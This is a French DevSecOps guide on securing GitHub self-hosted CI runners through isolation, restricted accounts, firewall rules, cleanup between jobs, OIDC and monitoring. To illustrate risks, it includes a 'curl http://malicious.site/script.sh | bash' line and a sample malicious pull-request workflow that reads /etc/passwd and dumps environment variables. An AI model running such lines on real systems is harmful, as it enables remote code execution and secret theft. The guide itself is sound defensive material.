Aller au contenu
CI/CD & Automatisation medium

Sécuriser les runners self-hosted

10 min de lecture

Les runners self-hosted offrent de la flexibilité mais introduisent des risques de sécurité que vous devez gérer vous-même. Ce guide présente les mesures de hardening essentielles, du compte système au nettoyage entre les jobs.

  • Identifier les risques propres aux runners self-hosted
  • Isoler les exécutions par niveau de confiance et par conteneur
  • Restreindre les permissions du compte, de Docker et du réseau
  • Nettoyer l'environnement entre chaque job
  • Protéger les secrets et surveiller les runners

Tout workflow peut exécuter du code arbitraire sur le runner :

- run: |
# Ce code s'exécute avec les droits du runner
curl http://malicious.site/script.sh | bash

Contrairement aux runners GitHub-hosted, l'environnement persiste entre les jobs :

  • Fichiers laissés par un job précédent
  • Variables d'environnement résiduelles
  • Credentials en cache

Le runner a accès au réseau où il se trouve :

  • Bases de données internes
  • APIs privées
  • Autres services
# Un attaquant peut soumettre cette PR sur un repo public
name: Malicious PR
on: pull_request
jobs:
attack:
runs-on: self-hosted # S'exécute sur VOTRE infrastructure
steps:
- run: |
# Vol de secrets, minage de crypto, etc.
cat /etc/passwd
env

L'isolation est la première ligne de défense : limiter ce qu'un job peut atteindre limite les dégâts d'un job compromis. Trois niveaux la renforcent.

# Runners pour le code de confiance (main, releases)
runs-on: [self-hosted, trusted]
# Runners pour les PRs (moins de confiance)
runs-on: [self-hosted, untrusted]
jobs:
build:
runs-on: self-hosted
container:
image: node:20-alpine
# Isolation par conteneur

Détruisez la VM après chaque job :

runs-on: [self-hosted, ephemeral]
# Le runner-scaler détruit la VM après exécution

Un runner compromis ne doit pas pouvoir grand-chose. On restreint sur trois plans : le compte système, Docker et le réseau.

Fenêtre de terminal
# Créer un utilisateur dédié sans privilèges
sudo useradd -m -s /bin/bash github-runner
sudo usermod -L github-runner # Pas de login
# Installer le runner avec cet utilisateur
sudo -u github-runner ./config.sh ...
# Pas de sudo pour le runner
# Ne jamais ajouter github-runner aux sudoers !
Fenêtre de terminal
# Utiliser rootless Docker si possible
# Ou limiter avec --security-opt
docker run --security-opt=no-new-privileges \
--cap-drop=ALL \
--read-only \
...
Fenêtre de terminal
# Firewall : limiter les connexions sortantes
iptables -A OUTPUT -o eth0 -p tcp --dport 443 -j ACCEPT # GitHub
iptables -A OUTPUT -o eth0 -p tcp --dport 80 -j ACCEPT # HTTP
iptables -A OUTPUT -o eth0 -j DROP # Bloquer le reste

Sur un runner persistant, ce qu'un job laisse derrière lui reste disponible pour le suivant. Un nettoyage systématique évite les fuites entre jobs.

#!/bin/bash
# cleanup.sh - à exécuter après chaque job
# Supprimer les fichiers temporaires
rm -rf /tmp/* /var/tmp/*
# Nettoyer le home du runner
rm -rf /home/github-runner/.npm
rm -rf /home/github-runner/.cache
rm -rf /home/github-runner/work/*
# Nettoyer Docker
docker system prune -af
docker volume prune -f
# Supprimer les variables d'environnement personnalisées
unset $(env | grep -v '^PATH=' | cut -d= -f1)
Fenêtre de terminal
# Dans le service systemd du runner
[Service]
ExecStartPre=/opt/actions-runner/cleanup.sh
ExecStopPost=/opt/actions-runner/cleanup.sh

Les secrets ne doivent jamais résider en dur sur le runner. Voici comment les faire transiter et les manipuler sans les exposer.

# ❌ Ne pas mettre de secrets dans les scripts du runner
# ~/.bashrc avec AWS_SECRET_ACCESS_KEY = mauvaise idée
# ✅ Utiliser les secrets GitHub
- name: Deploy
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
run: aws s3 sync ./dist s3://bucket
Fenêtre de terminal
# Utiliser des short-lived tokens via OIDC
# Pas de credentials statiques sur le runner
# Voir /docs/pipeline-cicd/github/securite/oidc/
Fenêtre de terminal
# Monter les secrets en read-only tmpfs
mkdir -p /run/secrets
mount -t tmpfs -o size=10M,mode=0700 tmpfs /run/secrets

Le durcissement ne suffit pas : il faut détecter une compromission. Logs d'audit et monitoring système rendent visibles les comportements anormaux.

# Activer les logs détaillés
env:
ACTIONS_RUNNER_DEBUG: true
Fenêtre de terminal
# Surveiller les processus suspects
auditctl -a always,exit -F arch=b64 -S execve -k commands
# Alerter sur les connexions sortantes inhabituelles
# (avec un outil comme Falco, osquery, etc.)

Configurez des webhooks pour être alerté des runs sur les runners self-hosted.

  • Runner sur repository privé uniquement
  • Utilisateur dédié sans privilèges sudo
  • Firewall configuré (whitelist)
  • Docker rootless ou avec restrictions
  • Logs d'audit activés
  • Mises à jour du runner et de l'OS
  • Rotation des tokens d'enregistrement
  • Revue des workflows exécutés
  • Vérification des logs d'audit
  • Runners séparés par niveau de confiance
  • Runners éphémères pour les PRs
  • Pas de secrets statiques sur les runners
  • OIDC pour l'authentification cloud

Ce workflow rassemble les mesures du guide : runner de confiance, exécution en conteneur durci, OIDC au lieu de secrets statiques et nettoyage explicite.

name: Secure Build
on:
push:
branches: [main]
# Aucun droit par défaut : le job demande le minimum
permissions: {}
jobs:
build:
runs-on: [self-hosted, linux, trusted]
permissions:
contents: read
id-token: write # Pour OIDC
container:
image: node:20-alpine
options: --read-only --security-opt=no-new-privileges
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
persist-credentials: false
# OIDC au lieu de secrets statiques
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
with:
role-to-assume: arn:aws:iam::123456789:role/github-actions
aws-region: eu-west-1
- run: npm ci
- run: npm test
- run: npm run build
# Cleanup explicite
- name: Cleanup
if: always()
run: rm -rf node_modules .npm
  • Un runner self-hosted ne va jamais sur un dépôt public : une PR de fork exécuterait du code arbitraire chez vous.
  • Isolez les exécutions : runners dédiés par niveau de confiance, conteneurs, VM éphémères.
  • Le compte du runner est sans sudo ; Docker tourne en rootless ou avec des capabilities réduites.
  • Nettoyez systématiquement entre les jobs — l'environnement persiste, contrairement aux runners hosted.
  • Pas de secrets statiques sur la machine : privilégiez OIDC et les jetons à durée de vie courte.

Ce site vous est utile ?

Sachez que moins de 1% des lecteurs soutiennent ce site.

Je maintiens +700 guides gratuits, sans pub ni tracing. Aujourd'hui, ce site ne couvre même pas mes frais d'hébergement, d'électricité, de matériel, de logiciels, mais surtout de cafés.

Un soutien régulier, même symbolique, m'aide à garder ces ressources gratuites et à continuer de produire des guides de qualité. Merci pour votre appui.

Abonnez-vous et suivez mon actualité DevSecOps sur LinkedIn